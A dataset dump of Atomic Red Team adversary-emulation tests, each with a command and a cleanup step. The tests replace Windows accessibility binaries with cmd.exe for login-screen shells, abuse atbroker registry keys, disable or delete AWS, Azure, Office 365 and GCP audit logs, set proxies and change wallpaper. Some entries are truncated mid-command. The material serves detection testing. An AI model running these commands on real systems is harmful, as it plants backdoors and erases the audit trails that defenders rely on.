deardaniel/secdata-raw huggingface dataset:
Atomic Red Team — T1546.008: Event Triggered Execution: Accessibility Features
Test: Replace binary of sticky keys
Platforms: windows
Executor: command_prompt

Description:
Replace sticky keys binary (sethc.exe) with cmd.exe


Command:
IF NOT EXIST C:\Windows\System32\sethc_backup.exe (copy C:\Windows\System32\sethc.exe C:\Windows\System32\sethc_backup.exe) ELSE ( pushd )
takeown /F C:\Windows\System32\sethc.exe /A
icacls C:\Windows\System32\sethc.exe /grant Administrators:F /t
copy /Y C:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe


Cleanup:
copy /Y C:\Windows\System32\sethc_backup.exe C:\Windows\System32\sethc.exe
Atomic Red Team — T1546.008: Event Triggered Execution: Accessibility Features
Test: Create Symbolic Link From osk.exe to cmd.exe
Platforms: windows
Executor: command_prompt

Description:
Replace accessiblity executable with cmd.exe to provide elevated command prompt from login screen without logging in.


Command:
IF NOT EXIST %windir%\System32\osk.exe.bak (copy %windir%\System32\osk.exe %windir%\System32\osk.exe.bak) ELSE ( pushd )
takeown /F %windir%\System32\osk.exe /A
icacls %windir%\System32\osk.exe /grant Administrators:F /t
del %windir%\System32\osk.exe
mklink %windir%\System32\osk.exe %windir%\System32\cmd.exe


Cleanup:
takeown /F %windir%\System32\osk.exe /A
icacls %windir%\System32\osk.exe /grant Administrators:F /t
del %windir%\System32\osk.exe
copy /Y %windir%\System32\osk.exe.bak %windir%\System32\osk.exe
icacls %windir%\system32\osk.exe /inheritance:d
icacls %windir%\system32\osk.exe /setowner "NT SERVICE\Tru
Atomic Red Team — T1546.008: Event Triggered Execution: Accessibility Features
Test: Atbroker.exe (AT) Executes Arbitrary Command via Registry Key
Platforms: windows
Executor: command_prompt

Description:
Executes code specified in the registry for a new AT (Assistive Technologies).


Command:
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs\malware_test" /f
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs\malware_test" /v TerminateOnDesktopSwitch /t REG_DWORD /d 0 /f
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs\malware_test" /v StartEXE /t REG_SZ /d C:\WINDOWS\system32\cmd.exe /f
atbroker /start malware_test


Cleanup:
reg delete "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs\malware_test" /f
Atomic Red Team — T1546.008: Event Triggered Execution: Accessibility Features
Test: Auto-start application on user logon
Platforms: windows
Executor: command_prompt

Description:
Executes code specified in the registry on new user logon session automatically by registration of new AT and modification of configuration value.
This test will register new AT named malware_test with code for cmd.exe and add a configuration value for the code to be run during user logon session.


Command:
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs\malware_test" /f
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs\malware_test" /v TerminateOnDesktopSwitch /t REG_DWORD /d 0 /f
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs\malware_test" /v StartEXE /t REG_SZ /d C:\WINDOWS\system32\cmd.exe /f
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs" /v Configuration /t REG_SZ /d malware_test /f


Cleanup:
reg delete "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs\malware_test" /f
reg delete "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility\ATs" /v Configuration /f
Atomic Red Team — T1546.008: Event Triggered Execution: Accessibility Features
Test: Replace utilman.exe (Ease of Access Binary) with cmd.exe
Platforms: windows
Executor: command_prompt

Description:
Replace utilman.exe (Ease of Access binary) with cmd.exe. This allows the user to launch an elevated command prompt by clicking the Ease of Access button on the login screen.


Command:
IF NOT EXIST C:\Windows\System32\utilman_backup.exe (copy C:\Windows\System32\utilman.exe C:\Windows\System32\utilman_backup.exe) ELSE ( pushd )
takeown /F C:\Windows\System32\utilman.exe /A
icacls C:\Windows\System32\utilman.exe /grant Administrators:F /t
copy /Y C:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe


Cleanup:
copy /Y C:\Windows\System32\utilman_backup.exe C:\Windows\System32\utilman.exe
Atomic Red Team — T1546.008: Event Triggered Execution: Accessibility Features
Test: Replace Magnify.exe (Magnifier binary) with cmd.exe
Platforms: windows
Executor: command_prompt

Description:
Replace Magnify.exe (Magnifier binary) with cmd.exe. This allows the user to launch an elevated command prompt by toggling on the Magnifier from the Accessibility menu on the login screen.


Command:
IF NOT EXIST C:\Windows\System32\Magnify_backup.exe (copy C:\Windows\System32\Magnify.exe C:\Windows\System32\Magnify_backup.exe) ELSE ( pushd )
takeown /F C:\Windows\System32\Magnify.exe /A
icacls C:\Windows\System32\Magnify.exe /grant Administrators:F /t
copy /Y C:\Windows\System32\cmd.exe C:\Windows\System32\Magnify.exe


Cleanup:
copy /Y C:\Windows\System32\Magnify_backup.exe C:\Windows\System32\Magnify.exe
Atomic Red Team — T1546.008: Event Triggered Execution: Accessibility Features
Test: Replace Narrator.exe (Narrator binary) with cmd.exe
Platforms: windows
Executor: command_prompt

Description:
Replace Narrator.exe (Narrator binary) with cmd.exe. This allows the user to launch an elevated command prompt by toggling on the Narrator button from the Accessibility menu on the login screen.


Command:
IF NOT EXIST C:\Windows\System32\Narrator_backup.exe (copy C:\Windows\System32\Narrator.exe C:\Windows\System32\Narrator_backup.exe) ELSE ( pushd )
takeown /F C:\Windows\System32\Narrator.exe /A
icacls C:\Windows\System32\Narrator.exe /grant Administrators:F /t
copy /Y C:\Windows\System32\cmd.exe C:\Windows\System32\Narrator.exe


Cleanup:
copy /Y C:\Windows\System32\Narrator_backup.exe C:\Windows\System32\Narrator.exe
Atomic Red Team — T1546.008: Event Triggered Execution: Accessibility Features
Test: Replace DisplaySwitch.exe (Display Switcher binary) with cmd.exe
Platforms: windows
Executor: command_prompt

Description:
Replace DisplaySwitch.exe (Display Switcher binary) with cmd.exe. This allows the user to launch an elevated command prompt by pressing the Windows Key + P on the login screen.


Command:
IF NOT EXIST C:\Windows\System32\DisplaySwitch_backup.exe (copy C:\Windows\System32\DisplaySwitch.exe C:\Windows\System32\DisplaySwitch_backup.exe) ELSE ( pushd )
takeown /F C:\Windows\System32\DisplaySwitch.exe /A
icacls C:\Windows\System32\DisplaySwitch.exe /grant Administrators:F /t
copy /Y C:\Windows\System32\cmd.exe C:\Windows\System32\DisplaySwitch.exe


Cleanup:
copy /Y C:\Windows\System32\DisplaySwitch_backup.exe C:\Windows\System32\DisplaySwitch.exe
Atomic Red Team — T1546.008: Event Triggered Execution: Accessibility Features
Test: Replace AtBroker.exe (App Switcher binary) with cmd.exe
Platforms: windows
Executor: command_prompt

Description:
Replace AtBroker.exe (App Switcher binary) with cmd.exe. This allows the user to launch an elevated command prompt from the login screen by locking and then unlocking the computer after toggling on any of the accessibility tools in the Accessibility menu.


Command:
IF NOT EXIST C:\Windows\System32\AtBroker_backup.exe (copy C:\Windows\System32\AtBroker.exe C:\Windows\System32\AtBroker_backup.exe) ELSE ( pushd )
takeown /F C:\Windows\System32\AtBroker.exe /A
icacls C:\Windows\System32\AtBroker.exe /grant Administrators:F /t
copy /Y C:\Windows\System32\cmd.exe C:\Windows\System32\AtBroker.exe


Cleanup:
copy /Y C:\Windows\System32\AtBroker_backup.exe C:\Windows\System32\AtBroker.exe
Atomic Red Team — T1685.002: Disable or Modify Tools: Disable or Modify Cloud Log
Test: AWS - CloudTrail Changes
Platforms: iaas:aws
Executor: sh

Description:
Creates a new cloudTrail in AWS, Upon successful creation it will Update,Stop and Delete the cloudTrail


Command:
aws cloudtrail update-trail --name #{cloudtrail_name} --s3-bucket-name #{s3_bucket_name}  --is-multi-region-trail --region #{region}
aws cloudtrail stop-logging --name #{cloudtrail_name} --region #{region}
aws cloudtrail delete-trail --name #{cloudtrail_name} --region #{region}


Cleanup:
cd "$PathToAtomicsFolder/T1685.002/src/T1685.002-1/"
terraform destroy -auto-approve


Dependencies:
Check if ~/.aws/credentials file has a default stanza is configured

Check if terraform is installed.

Check if the dependency resources are already present.
Atomic Red Team — T1685.002: Disable or Modify Tools: Disable or Modify Cloud Log
Test: Azure - Eventhub Deletion
Platforms: iaas:azure
Executor: powershell

Description:
Identifies an Event Hub deletion in Azure.
An Event Hub is an event processing service that ingests and processes large volumes of events and data.
An adversary may delete an Event Hub in an attempt to evade detection.
https://docs.microsoft.com/en-us/azure/event-hubs/event-hubs-about.


Command:
$secure_pwd = "#{password}" | ConvertTo-SecureString -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential -ArgumentList "#{username}", $secure_pwd
Connect-AzureAD -Credential $creds
Remove-AzEventHub -ResourceGroupName #{resource_group} -Namespace #{name_space_name} -Name #{event_hub_name}


Cleanup:
cd "$PathToAtomicsFolder/T1685.002/src/T1685.002-2/"
terraform destroy -auto-approve


Dependencies:
Install-Module -Name Az

Check if terraform is installed.

Check if the user is logged into Azure.
Atomic Red Team — T1685.002: Disable or Modify Tools: Disable or Modify Cloud Log
Test: Office 365 - Exchange Audit Log Disabled
Platforms: office-365
Executor: powershell

Description:
You can use the Exchange Management Shell to enable or disable mailbox audit logging for a mailbox.
Unified or Admin Audit logs are disabled via the Exchange Powershell cmdline.
https://github.com/Azure/Azure-Sentinel/blob/master/Detections/OfficeActivity/exchange_auditlogdisabled.yaml


Command:
$secure_pwd = "#{password}" | ConvertTo-SecureString -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential -ArgumentList "#{username}", $secure_pwd
Connect-ExchangeOnline -Credential $creds
Set-AdminAuditLogConfig -UnifiedAuditLogIngestionEnabled $False


Cleanup:
$secure_pwd = "#{password}" | ConvertTo-SecureString -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential -ArgumentList "#{username}", $secure_pwd
Connect-ExchangeOnline -Credential $creds
Set-AdminAuditLogConfig -UnifiedAuditLogIngestionEnabled $True


Dependencies:
ExchangeOnlineManagement PowerShell module must be installed
Atomic Red Team — T1685.002: Disable or Modify Tools: Disable or Modify Cloud Log
Test: AWS - Disable CloudTrail Logging Through Event Selectors using Stratus
Platforms: linux, macos, iaas:aws
Executor: sh

Description:
Update event selectors in AWS CloudTrail to disable the logging of certain management events to evade defense. This Atomic test leverages a tool called Stratus-Red-Team built by DataDog (https://github.com/DataDog/stratus-red-team). Stratus Red Team is a self-contained binary. You can use it to easily detonate offensive attack techniques against a live cloud environment. Ref: https://stratus-red-team.cloud/attack-techniques/AWS/aws.defense-evasion.cloudtrail-event-selectors/


Command:
export AWS_REGION=#{aws_region} 
cd #{stratus_path}
echo "starting warmup"
./stratus warmup aws.defense-evasion.cloudtrail-event-selectors
echo "starting detonate"
./stratus detonate aws.defense-evasion.cloudtrail-event-selectors --force


Cleanup:
export AWS_REGION=#{aws_region}
echo "Cleanup detonation"
cd #{stratus_path}
./stratus cleanup --all
rm -rf stratus*


Dependencies:
Stratus binary must be present at the (#{stratus_path}/stratus)

Check if ~/.aws/credentials file has a default stanza is configured
Atomic Red Team — T1685.002: Disable or Modify Tools: Disable or Modify Cloud Log
Test: AWS - CloudTrail Logs Impairment Through S3 Lifecycle Rule using Stratus
Platforms: linux, macos, iaas:aws
Executor: sh

Description:
This Atomic test will use the Stratus Red Team will first setup a CloudTrail logging into an S3 bucket and will then make an API call to update the lifecycle rule on that S3 bucket with an expiration date of 1 day. This will essentially delete all the logs after one day. Adversaries often do this actiivity to evade detection. Stratus Red Team is a self-contained binary. You can use it to easily detonate offensive attack techniques against a live cloud environment. ref: https://stratus-red-team.cloud/attack-techniques/AWS/aws.defense-evasion.cloudtrail-lifecycle-rule/


Command:
export AWS_REGION=#{aws_region} 
cd #{stratus_path}
echo "starting warmup"
./stratus warmup aws.defense-evasion.cloudtrail-lifecycle-rule
echo "starting detonate"
./stratus detonate aws.defense-evasion.cloudtrail-lifecycle-rule --force


Cleanup:
export AWS_REGION=#{aws_region}
echo "Cleanup detonation"
cd #{stratus_path}
./stratus cleanup --all
rm -rf stratus*


Dependencies:
Stratus binary must be present at the (#{stratus_path}/stratus)

Check if ~/.aws/credentials file has a default stanza is configured
Atomic Red Team — T1685.002: Disable or Modify Tools: Disable or Modify Cloud Log
Test: AWS - Remove VPC Flow Logs using Stratus
Platforms: linux, macos, iaas:aws
Executor: sh

Description:
This Atomic will attempt to remove AWS VPC Flow Logs configuration. Stratus Red Team is a self-contained binary. You can use it to easily detonate offensive attack techniques against a live cloud environment. Ref: https://stratus-red-team.cloud/attack-techniques/AWS/aws.defense-evasion.vpc-remove-flow-logs/


Command:
export AWS_REGION=#{aws_region} 
cd #{stratus_path}
echo "starting warmup"
./stratus warmup aws.defense-evasion.vpc-remove-flow-logs
echo "starting detonate"
./stratus detonate aws.defense-evasion.vpc-remove-flow-logs --force


Cleanup:
export AWS_REGION=#{aws_region}
echo "Cleanup detonation"
cd #{stratus_path}
./stratus cleanup --all
rm -rf stratus*


Dependencies:
Stratus binary must be present at the (#{stratus_path}/stratus)

Check if ~/.aws/credentials file has a default stanza is configured
Atomic Red Team — T1685.002: Disable or Modify Tools: Disable or Modify Cloud Log
Test: AWS - CloudWatch Log Group Deletes
Platforms: iaas:aws
Executor: sh

Description:
Creates a new cloudWatch log group in AWS, Upon successful creation it will Delete the group. Attackers can use this technique to evade defenses by 
deleting the log stream. Once it is deleted, the logs created by the attackers will not be logged. https://www.elastic.co/guide/en/security/current/aws-cloudwatch-log-group-deletion.html#aws-cloudwatch-log-group-deletion


Command:
aws logs create-log-group --log-group-name #{cloudwatch_log_group_name} --region #{region} --output json
echo "*** Log Group Created ***"
aws logs delete-log-group --log-group-name #{cloudwatch_log_group_name} --region #{region} --output json
echo "*** Log Group Deleted ***"


Dependencies:
Check if ~/.aws/credentials file has a default stanza is configured
Atomic Red Team — T1685.002: Disable or Modify Tools: Disable or Modify Cloud Log
Test: AWS CloudWatch Log Stream Deletes
Platforms: iaas:aws
Executor: sh

Description:
Creates a new cloudWatch log stream in AWS, Upon successful creation it will Delete the stream. Attackers can use this technique to evade defenses by 
deleting the log stream. Once it is deleted, the logs created by the attackers will not be logged. https://www.elastic.co/guide/en/security/current/aws-cloudwatch-log-stream-deletion.html


Command:
aws logs create-log-group --log-group-name #{cloudwatch_log_group_name} --region #{region} --output json
echo "*** Log Group Created ***"
aws logs create-log-stream --log-group-name #{cloudwatch_log_group_name} --log-stream-name #{cloudwatch_log_stream_name} --region #{region}
echo "*** Log Stream Created ***"
aws logs delete-log-stream --log-group-name #{cloudwatch_log_group_name} --log-stream-name #{cloudwatch_log_stream_name} --region #{region}
echo "*** Log Stream Deleted ***"
aws logs delete-log-group --log-group-name #{cloudwatch_log_group_name} --region #{region} --output json
echo "*** Log Group Deleted ***"


Dependencies:
Check if ~/.aws/credentials file has a default stanza is configured
Atomic Red Team — T1685.002: Disable or Modify Tools: Disable or Modify Cloud Log
Test: Office 365 - Set Audit Bypass For a Mailbox
Platforms: office-365
Executor: powershell

Description:
Use Exchange Management Shell to Mailbox auditing to bypass. It will prevent any mailbox audit logging entries being generated for the target e-mail box.
https://learn.microsoft.com/en-us/powershell/module/exchange/set-mailboxauditbypassassociation?view=exchange-ps


Command:
$secure_pwd = "#{password}" | ConvertTo-SecureString -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential -ArgumentList "#{username}", $secure_pwd
Connect-ExchangeOnline -Credential $creds
Set-MailboxAuditBypassAssociation -Identity "#{target_email}" -AuditBypassEnabled $true


Cleanup:
$secure_pwd = "#{password}" | ConvertTo-SecureString -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential -ArgumentList "#{username}", $secure_pwd
Connect-ExchangeOnline -Credential $creds
Set-MailboxAuditBypassAssociation -Identity "#{target_email}" -AuditBypassEnabled 

Dependencies:
ExchangeOnlineManagement PowerShell module must be installed
Atomic Red Team — T1685.002: Disable or Modify Tools: Disable or Modify Cloud Log
Test: GCP - Delete Activity Event Log
Platforms: iaas:gcp
Executor: sh

Description:
GCP provides 4 types of Cloud Audit Logs: Admin Activity, Data Access, System Events, and Policy Denied.
An adversary may attempt to delete logs in order to hide their activity. However, Admin Activity, System Events, and Policy Deny events logs cannot be deleted. 

This Atomic attempts to delete the Activity Event log. An event is generated under the method name of `google.logging.v2.LoggingServiceV2.DeleteLog` with a Serverity of `ERROR`.


Command:
gcloud config set project #{project-id}
gcloud logging logs delete projects/#{project-id}/logs/cloudaudit.googleapis.com%2Factivity --quiet


Dependencies:
Requires gcloud

Check if user is logged in
Atomic Red Team — T1685.002: Disable or Modify Tools: Disable or Modify Cloud Log
Test: AWS - Config Logs Disabled
Platforms: iaas:aws
Executor: sh

Description:
Disables AWS Config by stopping the configuration recorder, deleting the delivery channel, and deleting the configuration recorder. An attacker with sufficient permissions can use this to stop configuration change recording and avoid detection of subsequent activity.


Command:
aws configservice stop-configuration-recorder --configuration-recorder-name #{configuration_recorder_name} --region #{region}
echo "*** Configuration recorder stopped ***"
aws configservice delete-delivery-channel --delivery-channel-name #{delivery_channel_name} --region #{region}
echo "*** Delivery channel deleted ***"
aws configservice delete-configuration-recorder --configuration-recorder-name #{configuration_recorder_name} --region #{region}
echo "*** Configuration recorder deleted ***"


Cleanup:
aws configservice list-configuration-recorders --region us-west-2

Dependencies:
Check if ~/.aws/credentials file has a default stanza is configured

Check if terraform is installed.
Atomic Red Team — T1090.001: Proxy: Internal Proxy
Test: Connection Proxy
Platforms: linux, macos
Executor: sh

Description:
Enable traffic redirection.

Note that this test may conflict with pre-existing system configuration.


Command:
export #{proxy_scheme}_proxy=#{proxy_server}:#{proxy_port}
curl #{test_url}


Cleanup:
unset #{proxy_scheme}_proxy
[ "#{run_squid}" == "true" ] && (kill -9 $(ps aux | grep "squid -N" | grep -v "grep" | awk '{print $2}'))


Dependencies:
Squid must be installed and running
Atomic Red Team — T1090.001: Proxy: Internal Proxy
Test: Connection Proxy for macOS UI
Platforms: macos
Executor: sh

Description:
Enable traffic redirection on macOS UI (not terminal).
The test will modify and enable the "Web Proxy" and "Secure Web Proxy" settings  in System Preferences => Network => Advanced => Proxies for the specified network interface.

Note that this test may conflict with pre-existing system configuration.


Command:
networksetup -setwebproxy #{interface} #{proxy_server} #{proxy_port}
networksetup -setsecurewebproxy #{interface} #{proxy_server} #{proxy_port}


Cleanup:
networksetup -setwebproxystate #{interface} off
networksetup -setsecurewebproxystate #{interface} off
Atomic Red Team — T1090.001: Proxy: Internal Proxy
Test: portproxy reg key
Platforms: windows
Executor: powershell

Description:
Adds a registry key to set up a proxy on the endpoint at HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\PortProxy\v4tov4
Upon execution there will be a new proxy entry in netsh
netsh interface portproxy show all


Command:
netsh interface portproxy add v4tov4 listenport=#{listenport} connectport=#{connectport} connectaddress=#{connectaddress}

Cleanup:
netsh interface portproxy delete v4tov4 listenport=#{listenport} -ErrorAction Ignore | Out-Null
Atomic Red Team — T1491.001: Defacement: Internal Defacement
Test: Replace Desktop Wallpaper
Platforms: windows
Executor: powershell

Description:
Downloads an image from a URL and sets it as the desktop wallpaper.


Command:
$url = "#{url_of_wallpaper}"
$imgLocation = "#{wallpaper_location}"
$orgWallpaper = (Get-ItemProperty -Path Registry::'HKEY_CURRENT_USER\Control Panel\Desktop\' -Name WallPaper).WallPaper
$orgWallpaper | Out-File -FilePath "#{pointer_to_orginal_wallpaper}"
$updateWallpapercode = @' 
using System.Runtime.InteropServices; 
namespace Win32{

    public class Wallpaper{ 
        [DllImport("user32.dll", CharSet=CharSet.Auto)] 
         static extern int SystemParametersInfo (int uAction , int uParam , string lpvParam , int fuWinIni) ; 
         
         public static void SetWallpaper(string thePath){ 
            SystemParametersInfo(20,0,thePath,3); 
        }
    }
} 
'@
$wc = New-Object System.Net.WebClient  
try{  
    $wc.DownloadFile($url, $imgLocation)
    add-type $updateWallpapercod

Cleanup:
$updateWallpapercode = @' 
using System.Runtime.InteropServices; 
namespace Win32{

    public class Wallpaper{ 
        [DllImport("user32.dll", CharSet=CharSet.Auto)] 
         static extern int SystemParametersInfo (int uAction , int uParam , string lpvParam , int fuWinIni) ;